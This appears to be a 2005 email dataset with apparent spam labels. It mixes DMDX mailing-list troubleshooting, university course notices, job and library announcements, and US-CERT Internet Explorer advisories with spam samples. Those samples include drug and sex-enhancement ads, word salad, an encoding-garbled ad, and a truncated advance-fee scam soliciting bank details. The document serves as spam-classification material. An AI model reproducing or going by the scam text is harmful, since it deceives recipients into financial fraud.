derek_eder@yahoo.com web page: www.derek-eder.org ""In the beginner's mind there are many possibilities, but in the expert's mind there are few"" - S. Suzuki __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 09 Dec 2005 09:38:45 -0700",[DMDX] Re: Windows sound mixer during DMDX?,"At 07:48 AM 12/9/2005 -0800, you wrote: >his is the situation: DMDX is running a complex >visual task and I want the subjects to ""listen"" to an >analog generated ""white noise"" source injected into >the sound card's ""line in"" and coming out of the >card's ""line out"". Does the Windows mixer mix while >DMDX is running? Note, DMDX is not being asked to do >anything related to sound here. Yep, it's rolled in together. >I don't understand the ramifications of DMDX using >DirectX for sound input. I would have simply tested >this question empirically, but I forgot the cables to >my signal generator at home today :) > >Why bother going through the sound card at all? >Because in a following test, DMDX is controlling an >audio task and the subjects will be wearing headphones >connected to the sound card. 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Tous droits r�serv�s.",1,1 Steve Keckler ,cs382m@lists.cc.utexas.edu,"Fri, 09 Dec 2005 14:27:07 -0600",[CS382M:56] office hours and announcements,"CS382M-ers, 1) I will be holding office hours next week on Wednesday 10-11, and on Thursday 11-noon. 2) In addition to submitting your hardcopy, don't forget to submit a few things electronically. For everyone, this includes a pdf version of your final report. For those of you doing the empirical project, you should also submit (along with a good readme) a set of programs you used for your analysis. These programs should include: - the original program you started and ran on the conventional processor for comparison - a pared down version of the program used as a starting point for your TRIPS optimization - your final highly optimized version of your program - any other versions or alterations that you think are interesting Please just submit the source code (and assembly code as necessary). Everyone should use the following command to submit your files: csh> turnin --submit skeckler project You can turn in tar files if you like. 3) As I mentioned in class, the exam will be comprehensive so you are responsible for everything covered in the course, including all readings (papers and text), lectures (see notes on web page), and homeworks. The exam will have an parts that are empirical, similar to those of the midterm; parts that will require understanding of concept; and parts that will require you to draw on your knowledge of how different architectural techniques work. I don't expect you to have memorized everything in the course; accordingly, you should expect to have some choice among the questions you answer. Check out lecture27 on the web page for some additional notes on the exam. Cheers, Steve Steve Keckler Computer Architecture and Technology Lab Associate Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler",0,1 {Bruceg}40 ���u�n1400��-�q��è�~���DVD�M� �ȱo����transverse ,DMDX@psy1.psych.arizona.edu,"Sun, 07 Jul 1901 10:43:06 +0800",�b�c�d�e�饻��j���W�k�u ������� / �Τt�`�� �L�X�v�� �[��5���x�W�k�u �[�����D�e�d�c�b{Casandra}tense,�s�W����1 Bruceg~ �k�D���m���s�Y���n�b�����W���F���P���A�������F�A�Y�����H�������R�����Q�C 5�j���W�k�u�@���`���l / �a�����`�� / �N�� / �y / ���s�t�@�����L�X�v��{Keith} ������������ VCD/DVD �����j�O�����B�����P�B�o�� �s���W�[�q�� ������������������������Bruceg Anri Hoshino �P������ 3/14/1972 162 82-58-83 n/a �@ conspiratorial,1,1 Fishbein ,cs382m-archive@cs.utexas.edu,"dom, 11 dic 2005 06:43:31 +0100",V_i_a_g_r_a Professional bestseller,All products for your health! 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The thing is that each block of items is also attached to another item (a comprehension question) about one of the original 6 items in the block. I'm able to get DmDX to scramble the items within the blocks, but is there a way to get DmDX to also scramble the blocks so that the comprehension question comes after the right block and always at the end of the block? Currently I'm just scrambling within blocks and using the backslash before each of the comprehension questions (and then creating random orders of the blocks myself using Excel). Second question: I keep getting an error message when I export data after running the script, which looks something like ! Error in subject number 1 marked by !! ! Display error at msec 109941.44, tick 6575 in item 2, frame ""In"" ! moved into video memory 442 ticks late ! (previous frame's duration will have been longer) Does this error look like it's arising from an error in my script or some faulty aspect of the hardware? Charles ------------------------------------- charleschang@berkeley.edu http://socrates.berkeley.edu/~cbchang ",0,1 Matthew Finkbeiner ,DMDX@psy1.psych.arizona.edu,"Sun, 11 Dec 2005 08:06:22 -0500",[DMDX] RE: question re: scrambling,"this requires ""multiple scrambling"" -- there's a nice example of how to do it in the help files > -----Original Message----- > From: DMDX-owner@psy1.psych.arizona.edu > [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of > Charles Bond Chang > Sent: Sunday, December 11, 2005 6:17 AM > To: DMDX@psy1.psych.arizona.edu > Subject: [DMDX] question re: scrambling > > > Hello, > > I'm writing a script with 120 main items divided into 20 > blocks of 6 items each. The thing is that each block of > items is also attached to another item (a comprehension > question) about one of the original 6 items in the block. > > I'm able to get DmDX to scramble the items within the blocks, > but is there a way to get DmDX to also scramble the blocks so > that the comprehension question comes after the right block > and always at the end of the block? > > Currently I'm just scrambling within blocks and using the > backslash before each of the comprehension questions (and > then creating random orders of the blocks myself using Excel). > > Second question: I keep getting an error message when I > export data after running the script, which looks something like > > ! Error in subject number 1 marked by !! > ! Display error at msec 109941.44, tick 6575 in item 2, frame ""In"" > ! moved into video memory 442 ticks late > ! (previous frame's duration will have been longer) > > Does this error look like it's arising from an error in my > script or some faulty aspect of the hardware? > > Charles > > ------------------------------------- > charleschang@berkeley.edu > http://socrates.berkeley.edu/~cbchang > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sun, 11 Dec 2005 08:14:27 -0700",[DMDX] Re: question re: scrambling,"At 03:17 AM 12/11/2005 -0800, you wrote: >Second question: I keep getting an error message when I export data after >running the script, which looks something like > >! Error in subject number 1 marked by !! >! Display error at msec 109941.44, tick 6575 in item 2, frame ""In"" >! moved into video memory 442 ticks late >! (previous frame's duration will have been longer) > >Does this error look like it's arising from an error in my script or some >faulty aspect of the hardware? Hard to say without seeing the script. Off the top of my head I'd say if it's occurring at exactly the same place every time it's your script, it happens a long time into the script and most hangs that are display driver related occur at the very start of the item file's run and 442 ticks is a long long time for any normal sort of hang -- unless your hard disk is failing of course. If it never occurs at the same place in the script then it's likely to be another program waking up and doing something, perhaps it's Adobe deciding to update itself, could be anti-virus programs doing something, who knows. Or perhaps your computer is riddled with malware and it's calling home with your bank account information ;) /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Real Users never know what they want, but they always know when your program doesn't deliver it. ",0,0 Julia Woodruff ,rob3@columbia.edu,"Sun, 11 Dec 2005 15:32:17 -0600",Pre-approved Application #pqkjsL929928,"it's meanwhile the compulsion or concurred ! frenetic be bordello or cinematic a morphology it's racial it's frailty ! pike but amoral be postman , peculate see phenolic Or maybe not",1,1 Derek Eder ,DMDX@psy1.psych.arizona.edu,"Mon, 12 Dec 2005 07:29:19 -0800",[DMDX] Re: Windows sound mixer during DMDX?,"Thank you jcf! is just the ticket. But remember kids, if you want to try this at home, you might want to use the keyword to prevent gaps in the audio when the WAV file loops. e.g., 1000 %0 ""masking.wav"" /; 1000 ""masking.wav"" /; # DMDX is running a complex visual task and I want the subjects to # ""listen"" to a masking sound > See the keyword, you won't need > the external source. -jonathan (j.c.f.) Derek Eder Bagaregårdsgatan 3E, nr 134 SE 416 70 Göteborg (Gothenburg) Sverige (Sweden) +46 (031) 25 97 07 (home) +46 0709 721 283 (mobil) email: derek_eder@yahoo.com web page: www.derek-eder.org ""Forgiveness means giving up any hope for a better past"" - after Gil Fronsdal __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! 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Topics to be covered include theories of consumption, the construction of modern gender and class identities through consumption, credit and social trust, and the relationship between consumption and democratic citizenship. Historical studies will be complemented with readings from social theory, cultural studies, and fiction. ",0,0 Jian Chen ,cs382m@lists.cc.utexas.edu,"Mon, 12 Dec 2005 12:02:53 -0600",[CS382M:57] Re: office hours and announcements,"Hi, Dr.Keckler, Enclosured are the pdf version of my final report and the comments from my peer reviewer Juhyun. Thank you! Best Regards Jian C. 引用 Steve Keckler : > CS382M-ers, > > 1) I will be holding office hours next week on Wednesday 10-11, and on > Thursday 11-noon. > > 2) In addition to submitting your hardcopy, don't forget to submit a > few things electronically. For everyone, this includes a pdf version > of your final report. For those of you doing the empirical project, > you should also submit (along with a good readme) a set of programs you > used for your analysis. These programs should include: > - the original program you started and ran on the conventional > processor for comparison > - a pared down version of the program used as a starting point for > your TRIPS optimization > - your final highly optimized version of your program > - any other versions or alterations that you think are interesting > Please just submit the source code (and assembly code as necessary). > Everyone should use the following command to submit your files: > > csh> turnin --submit skeckler project > > You can turn in tar files if you like. > > 3) As I mentioned in class, the exam will be comprehensive so you are > responsible for everything covered in the course, including all > readings (papers and text), lectures (see notes on web page), and > homeworks. The exam will have an parts that are empirical, similar to > those of the midterm; parts that will require understanding of concept; > and parts that will require you to draw on your knowledge of how > different architectural techniques work. I don't expect you to have > memorized everything in the course; accordingly, you should expect to > have some choice among the questions you answer. Check out lecture27 > on the web page for some additional notes on the exam. > > Cheers, > > Steve > > Steve Keckler Computer > Architecture and Technology Lab > Associate Professor Tel: (512) 471-9763 > Department of Computer Sciences Dept: (512) 471-7316 > 1 University Station C0500 Fax: (512) 232-1413 > The University of Texas at Austin E-mail: skeckler@cs.utexas.edu > Austin, TX 78712-0233 > http://www.cs.utexas.edu/users/skeckler >",0,1 Lillie Snyder ,eddie@cs.utexas.edu,"Mon, 12 Dec 2005 15:26:09 +0200",Re: ?,"-Icrease Your Sexual Desire and Sperm volume by 500% -Longer orgasms - The longest most intense orgasms of your life -Rock hard erections - Erections like steel -Ejaculate like a porn star - Stronger ejaculation -Multiple orgasms - Cum again and again -SPUR-M is The Newest and The Safest Way of Pharmacy -100% Natural and No Side Effects - in contrast to well-known brands. -Experience three times longer orgasms -World Wide shipping within 24 hours Clisk here http://www.soniclaw.info logician inequity invective confrontation transmission umpire ghetto bankrupt midsection economist amigo southward thereon broad sweetheart advice their nielson embed deferent bulgaria detail cosmic europa mite burp echidna ether approach bistable insufferable amnesia ghoul cholesterol intramolecular taketh innkeeper bilayer eucalyptus diversify vex cornet allemand factory muddlehead bode multiplet poliomyelitis pimple mecca acquiesce erotica phosphor atomic ",1,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 12 Dec 2005 13:14:05 -0700",[DMDX] Re: Windows sound mixer during DMDX?,"At 07:29 AM 12/12/2005 -0800, you wrote: >Thank you jcf! is just the ticket. > > >But remember kids, if you want to try this at home, >you might want to use the keyword to >prevent gaps in the audio when the WAV file loops. > >e.g., >1000 %0 ""masking.wav"" /; >1000 ""masking.wav"" /; Hmm, off the top of my head I'd have said would have no effect at all on . You aren't playing it as well are you? /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983",0,0 Virginia Kay ,enclgrads@CUVMC.AIS.COLUMBIA.EDU,"Mon, 12 Dec 2005 13:19:58 -0500",TALK:Professor Molly Murray TOMORROW,"Columbia Seminar in the Renaissance will host Professor Molly Murray next Tuesday, December 13, at Faculty House at 7:30 where she will speak on William Alabaster and the Poetry of Conversion ",0,0 Steve Keckler ,cs382m@lists.cc.utexas.edu,"Mon, 12 Dec 2005 13:48:20 -0600",[CS382M:58] Fwd: office hours and announcements,"CS328m-ers, Please do not email me your final project reports. You should follow the instructions I sent out last week and use the turnin program from a CS machine to submit your report. I plan to ignore all emailed reports. SK Begin forwarded message: > From: Steve Keckler > Date: December 9, 2005 2:27:07 PM CST > To: cs382m@lists.cc.utexas.edu > Subject: office hours and announcements > > CS382M-ers, > > 1) I will be holding office hours next week on Wednesday 10-11, and on > Thursday 11-noon. > > 2) In addition to submitting your hardcopy, don't forget to submit a > few things electronically. For everyone, this includes a pdf version > of your final report. For those of you doing the empirical project, > you should also submit (along with a good readme) a set of programs > you used for your analysis. These programs should include: > - the original program you started and ran on the conventional > processor for comparison > - a pared down version of the program used as a starting point for > your TRIPS optimization > - your final highly optimized version of your program > - any other versions or alterations that you think are interesting > Please just submit the source code (and assembly code as necessary). > Everyone should use the following command to submit your files: > > csh> turnin --submit skeckler project > > You can turn in tar files if you like. > > 3) As I mentioned in class, the exam will be comprehensive so you are > responsible for everything covered in the course, including all > readings (papers and text), lectures (see notes on web page), and > homeworks. The exam will have an parts that are empirical, similar to > those of the midterm; parts that will require understanding of > concept; and parts that will require you to draw on your knowledge of > how different architectural techniques work. I don't expect you to > have memorized everything in the course; accordingly, you should > expect to have some choice among the questions you answer. Check out > lecture27 on the web page for some additional notes on the exam. > > Cheers, > > Steve > > Steve Keckler Computer > Architecture and Technology Lab > Associate Professor Tel: (512) 471-9763 > Department of Computer Sciences Dept: (512) 471-7316 > 1 University Station C0500 Fax: (512) 232-1413 > The University of Texas at Austin E-mail: skeckler@cs.utexas.edu > Austin, TX 78712-0233 > http://www.cs.utexas.edu/users/skeckler > > Steve Keckler Computer Architecture and Technology Lab Associate Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler",0,1 """Schonberg, William"" ","dhc-owner@lists101.his.com, dhc@lists101.his.com","Mon, 12 Dec 2005 15:53:06 -0600",[Dhc] Endowed Position Available,"Colleagues: Below please find an advertisement for an endowed chair position in the area of geotechnical engineering. Please forward it to appropriate individuals. Also, if you would like to nominate someone for our consideration, please let me know. Thank you! WPSchonberg Prof & Chair CArE Engng Dept UMR The Civil, Architectural and Environmental Engineering Department of the University of Missouri-Rolla invites applications or nominations for the Robert W. Abbett Distinguished Chair in Civil Engineering. The start date for this endowed appointment is anticipated to be August 2006. We seek an individual with a well-established, internationally recognized program of research and scholarly activities in geotechnical engineering appropriate for an appointment at the full professor level. The candidate selected will be expected to provide leadership integrating the expertise of the Department's geotechnical engineering faculty and its existing enterprise centers in the broad area of geotechnics. The successful candidate will have the opportunity and responsibility to define the future directions of the Department's geotechnical engineering research mission, its state-of-the-art geotechnical engineering laboratories, and its graduate education program. The candidate selected will conduct an active, internationally recognized research in geotechnical engineering that could include (but not be limited to) geodynamics, transportation geotechnics, soils modeling, and other associated activities. The successful applicant will be expected to provide leadership for interdisciplinary collaborative research teams and projects. Required qualifications include a Bachelor of Science degree in civil engineering or a closely related field from an ABET-accredited or equivalent program and an earned PhD in civil engineering or a closely related field. The successful candidate must be qualified to teach core undergraduate and graduate geotechnical engineering courses. A demonstrated ability in superior communication and interpersonal skills as well as the ability to motivate and inspire students are also required attributes. The Department's civil engineering program has been ranked among the top 25 undergraduate and top 45 graduate civil engineering programs by the U.S. News and World Report. We currently have 28 full-time faculty members including 4 geotechnical engineering faculty, and an undergraduate enrollment of 250 civil, 120 architectural and 20 environmental engineering students; our graduate enrollment is approx. 110 students. Our Department is an integral supporter of the following research centers: the UMR University Transportation Center, the Center for Infrastructure Engineering Studies, the Wei-Wen Yu Center for Cold Form Steel Structures, the Environmental Research Center for Emerging Contaminants, the Natural Hazards Mitigation Institute, and the Missouri Local Transportation Resource Center. Review of applications will begin 2 January 2006 and will continue until the position is filled. Additional information can be found at: http://civil.umr.edu/. Applications should include a statement of teaching and research interests and goals, a complete curriculum vitae, and complete contact information for at least five references, and should be sent to: Human Resource Services, RE: Position Number 00033577, 1870 Miner Circle, University of Missouri-Rolla, Rolla, MO 65409. Females, minorities, and persons with disabilities are encouraged to apply. The University of Missouri-Rolla is an affirmative action/equal opportunity employer and is responsive to the needs of dual-career couples. ",0,1 minson@uoregon.edu,minson@uoregon.edu,"Mon, 12 Dec 2005 16:28:38 -0800",End of Quarter Comments,"Hi everyone, I hope your Holiday Break is off to a great start, and that you are all finding time for some well-deserved rest after a very busy quarter. I want to thank everyone for taking the class, and for being so engaged and willing to learn. I also hope that you are happy with where you placed in the class, although I also hope you realize that the process of learning is at least important (in my opionion more) than the grade. I have placed your exams in the HPHY office to look at, and if you want to discuss anything, please let me know. John's section is not with Stephanie in the office yet, but should be within a few days. I hope you all have a very safe, happy, and restful Break! ",0,0 ARL Communications ,,,"On the ARL Server (Dec. 12, 2005)","On the ARL Server Week of December 12, 2005 Uses of Special Collections in Teaching and Learning, Summary of an ARL Membership Meeting Briefing Session, by Monica McCormick, UNC-Chapel Hill LCA and Music Library Association File Comments in 1201 Rulemaking Taxpayer Advocacy Group Says Cures Bill is the Right Medicine LibQUAL+™ Grants for Libraries--application deadline December 20, 2005 ARL Events at the ALA Midwinter Meeting, San Antonio, January 2006 SPARC-ACRL Forum at ALA Midwinter: Authors and Authority: Perspectives on Negotiating Licenses and Copyright, January 21, 2006, 4:00 p.m.-6:00 p.m. Register for LibQUAL+ Workshops at ALA Midwinter 2006: LibQUAL+™ 2006 Introductory Workshop, January 23, 9:00 a.m.-noon, no charge LibQUAL+™ 2005 Results Meeting, January 23, 1:00 p.m.-4:00 p.m., no charge Understanding Mean Comparisons and Relations with Your LibQUAL+™ Data, January 24, 8:00 a.m.-11:00 a.m., $50 Living the Future 6: WOW! - Where Next? cosponsored by the University of Arizona Libraries, ARL, and ACRL in Tucson, Arizona, April 5-8, 2006 ARL/ACRL Institute on Scholarly Communication, hosted by UCLA, July 12-14, 2006 ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Kaylyn Hipps Editorial & Research Associate Association of Research Libraries 21 Dupont Circle NW #800 Washington DC 20036 tel: 202.296.2296 fax: 202.872.0884 ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: This message is being sent to you because you are subscribed to the mailing list ARL-ANNOUNCE@arl.org To unsubscribe, e-mail ARL-ANNOUNCE-off@arl.org To switch to the DIGEST mode, e-mail ARL-ANNOUNCE-digest@arl.org To switch to the INDEX mode, e-mail ARL-ANNOUNCE-index@arl.org Send administrative queries to ARL-ANNOUNCE-request@arl.org Visit the Web archive at https://mx2.arl.org/Lists/ARL-ANNOUNCE/",0,1 Derek Eder ,DMDX@psy1.psych.arizona.edu,"Tue, 13 Dec 2005 03:21:13 -0800",[DMDX] Re: Windows sound mixer during DMDX?,"The experiment calls for 12 minutes of noise masking sound during the visual task. DMDX would not let me load a 12 minute WAV file (would not allocate the buffer for this 9 MB beast), so I simply play a 10 second noise clip over and over for 12 minutes. Without Media Life, the clip would play followed by a noticeble silence (several hundred ms?) before the loop started again. This is on a new P4 with 1GB RAM. solves this problem! Thank you jcf for your fantastic work on DMDX and your very generous support. Best regards, Derek --- ""Jonathan C. Forster"" wrote: > At 07:29 AM 12/12/2005 -0800, you wrote: > >Thank you jcf! is just the > ticket. > > > > > >But remember kids, if you want to try this at home, > >you might want to use the keyword to > >prevent gaps in the audio when the WAV file loops. > > > >e.g., > >1000 %0 ""masking.wav"" /; > >1000 ""masking.wav"" /; > > > Hmm, off the top of my head I'd have said > would have no > effect at all on . You aren't > playing it as well are you? > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > There are no secrets better kept than those > secrets that > everybody guesses. > - George Bernard > Shaw (1856-1950) > Mrs. Warren's > Profession, 1983 > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu > with the word > 'unsubscribe' by itself with no quotes in the body > of the email > to be removed from the list. The list archive is > available here: > > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > Derek Eder Bagaregårdsgatan 3E, nr 134 SE 416 70 Göteborg (Gothenburg) Sverige (Sweden) +46 (031) 25 97 07 (home) +46 0709 721 283 (mobil) email: derek_eder@yahoo.com web page: www.derek-eder.org ""Forgiveness means giving up any hope for a better past"" - after Gil Fronsdal __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 13 Dec 2005 07:22:42 -0700",[DMDX] Re: Windows sound mixer during DMDX?,"At 03:21 AM 12/13/2005 -0800, you wrote: >The experiment calls for 12 minutes of noise masking >sound during the visual task. > >DMDX would not let me load a 12 minute WAV file (would >not allocate the buffer for this 9 MB beast), For reference the keyword would. > so I >simply play a 10 second noise clip over and over for >12 minutes. Without Media Life, the clip would play >followed by a noticeble silence (several hundred ms?) >before the loop started again. This is on a new P4 >with 1GB RAM. > > solves this problem! Pretty weird, those two pieces of code are divorced from each other. Only thing I can think of is that having had another sound request made before the background sound you've got the HAL sound system into a different state, one where it perhaps doesn't have to set things up again each time the 10 second file finishes playing. Hopefully we'll remember your discovery the next time someone hits the background sound gap. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ No violence, gentlemen -- no violence, I beg of you! Consider the furniture! - Sherlock Holmes",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 13 Dec 2005 11:27:01 -0700",[DMDX] Re: Windows sound mixer during DMDX?,"At 07:22 AM 12/13/2005 -0700, you wrote: > Pretty weird, those two pieces of code are divorced from each > other. Only thing I can think of is that having had another sound > request made before the background sound you've got the HAL sound system > into a different state, one where it perhaps doesn't have to set things > up again each time the 10 second file finishes playing. Hopefully we'll > remember your discovery the next time someone hits the background sound gap. I just tested my machine and doesn't put any gap between the repeats so maybe some machines need a little tweaking. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983",0,0 """Kartik K. Agaram"" ",cs382m@lists.cc.utexas.edu,"Tue, 13 Dec 2005 13:47:04 -0600",[CS382M:59] office hours,"I will be holding an additional, final set of office hours on thursday from 2 to 3:30pm. This is in additional to my normal office hours at the same time today. Kartik ",0,0 US-CERT Alerts ,alerts@us-cert.gov,"Tue, 13 Dec 2005 18:03:39 -0500",US-CERT Cyber Security Alert SA05-347A -- Microsoft Internet Explorer Vulnerabilities ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Cyber Security Alert SA05-347A Microsoft Internet Explorer Vulnerabilities Original release date: December 13, 2005 Last revised: -- Source: US-CERT Systems Affected * Microsoft Windows * Microsoft Internet Explorer For more complete information, refer to the Microsoft Security Bulletin Summary for December 2005. Overview Microsoft has released updates that address critical vulnerabilities in Internet Explorer. Solution Apply Updates Microsoft has released security updates for Internet Explorer. To obtain the updates, visit the Microsoft Update web site. US-CERT also recommends enabling Automatic Updates. Disable ActiveX Instructions for disabling ActiveX controls in the Internet Zone can be found in the Malicious Web Scripts FAQ. Do not follow unsolicited links Do not click on unsolicited URLs received in email, instant messages, web forums, or internet relay chat (IRC) channels. Description Microsoft Security Bulletins for December 2005 address vulnerabilities in Internet Explorer. These vulnerabilities may allow an attacker to take control of your computer or cause it to crash. For more technical information, see US-CERT Technical Cyber Security Alert TA05-347A. References * Microsoft Security Bulletin Summary for December 2005 - < http://www.microsoft.com/technet/security/bulletin/ms05-dec.mspx> * US-CERT Vulnerability Note VU#887861 - * US-CERT Vulnerability Note VU#959049 - * US-CERT Vulnerability Note VU#680526 - * US-CERT Technical Cyber Security Alert TA05-347A - * Microsoft Update - * Microsoft Update Overview - * CERT/CC Malicious Web Scripts FAQ - * Improve the safety of your browsing and e-mail activities- * Microsoft Security Essentials - _________________________________________________________________ The most recent version of this document can be found at: _________________________________________________________________ Feedback can be directed to US-CERT. Please send email to: with ""SA05-347A Feedback VU#887861"" in the subject. _________________________________________________________________ Revision History Dec 13, 2005: Initial release _________________________________________________________________ Produced 2005 by US-CERT, a government organization. Terms of use _________________________________________________________________ For instructions on subscribing to or unsubscribing from this mailing list, visit . -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ59OBn0pj593lg50AQJTvAgAstsmk+yyrOIZu8+c1tAi8za08xyXzKFH S2pre7Y4loz48Fy0fL8bg6O3Z78nDguHR0cNQ+Rk0g8SPW3KJHp49XQX1nRDSyPq JQ09l794sKKJY3uEkspbL2/1pNCx+6TnG1TCFPZGue16+x5OL8MEigEnDdswUEs6 hTDOr4oxgtEvWf/x+fXpodP5CTNybSvRcp36kCuQKxhDAqufrNEA8r9Ndlun7Wk2 zjHb5Xfq4OxoFo/REDlwsUJ6Z39JipvmDHgYSXEWqGBSi76kTmM8ZPCR/BxtKRoC F/xo2Yqu+CcnmU9pUPVZpgwPC6JSKvswmzPDb0ODfL+CDQeXv9KjxQ== =bxMS -----END PGP SIGNATURE-----",0,1 US-CERT Technical Alerts ,technical-alerts@us-cert.gov,"Tue, 13 Dec 2005 17:32:16 -0500",US-CERT Technical Cyber Security Alert TA05-347A -- Microsoft Internet Explorer Vulnerabilities ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Technical Cyber Security Alert TA05-347A Microsoft Internet Explorer Vulnerabilities Original release date: December 13, 2005 Last revised: -- Source: US-CERT Systems Affected * Microsoft Windows * Microsoft Internet Explorer For more complete information, refer to the Microsoft Security Bulletin Summary for December 2005. Overview Microsoft has released updates that address critical vulnerabilities in Internet Explorer (IE). A remote, unauthenticated attacker could exploit these vulnerabilities to execute arbitrary code or cause a denial of service on an affected system. I. Description The Microsoft Security Bulletins for December 2005 address vulnerabilities in Microsoft Windows and Internet Explorer. By convincing a user to view a specially crafted HTML document, such as a web page or an HTML email message or attachment, an attacker could execute arbitrary code with the privileges of the user. The attacker could also cause IE or the program using the WebBrowser control to crash. Further information is available in the following US-CERT Vulnerability Notes: VU#887861 - Microsoft Internet Explorer vulnerable to code execution via mismatched DOM objects Microsoft Internet Explorer fails to properly handle requests to mismatched DOM objects, which may allow a remote attacker to execute arbitrary code on a vulnerable system. (CVE-2005-1790) VU#959049 - Several COM objects cause memory corruption in Microsoft Internet Explorer Microsoft Internet Explorer allows instantiation of COM objects not designed for use in the browser, which may allow an attacker to execute arbitrary code or crash IE. (CVE-2005-2127) II. Impact A remote, unauthenticated attacker exploiting these vulnerabilities could execute arbitrary code with the privileges of the user. If the user is logged on with administrative privileges, the attacker could take complete control of an affected system or cause a denial of service. III. Solution Apply Updates Microsoft has provided the updates for these and other vulnerabilities in the December 2005 Security Bulletins and on the Microsoft Update site. Disable ActiveX Disable ActiveX in the Internet Zone to further protect against the vulnerabilities described in VU#959049 and VU#680526. Instructions for disabling ActiveX are available in the CERT/CC Malicious Web Scripts FAQ. Note that disabling ActiveX will reduce the functionality of some web sites. The updates provided by MS05-037, MS05-038, MS05-052, and MS05-054 block COM objects known to be vulnerable, however there may be more. Appendix A. References * Microsoft Security Bulletin Summary for December 2005 - * Microsoft Security Bulletin MS05-054 - * Microsoft Security Bulletin MS05-052 - * Microsoft Security Bulletin MS05-038 - * Microsoft Security Bulletin MS05-037 - * US-CERT Vulnerability Note VU#887861 - * US-CERT Vulnerability Note VU#959049 - * US-CERT Vulnerability Note VU#680526 - * CVE-2005-1790 - * CVE-2005-2127 - * CERT/CC Malicious Web Scripts FAQ - * Improve the safety of your browsing and e-mail activities - * Security Essentials - * Microsoft Update - _________________________________________________________________ The most recent version of this document can be found at: _________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. Please send email to with ""TA05-347A Feedback VU#887861"" in the subject. _________________________________________________________________ For instructions on subscribing to or unsubscribing from this mailing list, visit . _________________________________________________________________ Produced 2005 by US-CERT, a government organization. Terms of use: _________________________________________________________________ Revision History December 13, 2005: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ59LY30pj593lg50AQLb7AgAyoitGXFhQ5kbEXQwDyZLsxMnA2NTH3NA 7Xo7HqFr230p0BwzusI48XbEUg/NVN4gEQEqaaI+Rq9hYbLj6mkmgYV0O3ljZ1Xq zIHakv0GRA71JkC/npDEGeNxIgu3L0jNjnjrBc10Sh3gKTzLamfBpljhLUPkaa8V SCjYJA3Tq9wJy8vyB+K0ApYYtLvW3LHsQIG3c4nKu/QPfn+uVSSrOFkeQq0JckDY 9P/hrCbfmG7jz8KVAhRl7w90zAZm/uIPUO0LUhBer1WebdUsu+cX/7q4/iDh16Dq e74OK2S3P1hESn8wo7EYc/VL09aEw8k3EIfuFYO64EuQFu0Dd6Q39g== =omN4 -----END PGP SIGNATURE-----",0,1 hrb94@o2.pl,hrb94@o2.pl,"Wed, 14 Dec 2005 07:23:28 +0100",Re: Very Important,"Attn. My Dear, We want to transfer to overseas (Fifty five million Euro only) from a Bank in Europe, I want to ask you to quietly look for a reliable and honest person who will be capable and fit to provide either an existing bank account or to set up a new Bank account immediately to receive this money, even an empty a/c can serve to receive this money, as long as you will remain honest to me till the end for this important business trusting in you and believing in God that you will never let me down either now or in future. I am Dr.Harry Bolton Auditor General of a bank in Europe, during the course of our auditing, I discovered a floating fund in an account opened in the bank in 1999 and since 2004 nobody has operated on this account again, after going through some old files in the records I also discovered that the owner of the account died without a +AFs- heir+AF0- hence the money is floating and if I do not remit this money out urgently it will be forfeited for nothing.The owner of this account is Katsunosuki Yuifum Bussho is a Japanese citizen who perished with other 148 passengers in EGYPTIAN Boeing 737 PLANE CRASH into the red sea. Visit for further detail: {http://news.bbc.co.uk/2/hi/middle_east/3365721.stm} An Inheritance like this nature, what will make it crime is if you did not follow the Rules, Laws/Procedures of an INTERNATIONAL INHERITANCE and as such I have made a master plan on how this business should be followed. If you are serious and capable to do this business with me, and you know that you will never, never ever betray me now or in the future let me know so that I will give you the full transaction details, already a perfect arrangement is in place, planed and marshaled out for a smooth sound successful transaction that both parties will be joyful and proud of at the end. If you are truly serious like Ii've said, send me first as follows; {1} Your correct bank account information where you will like the fund to be transferred 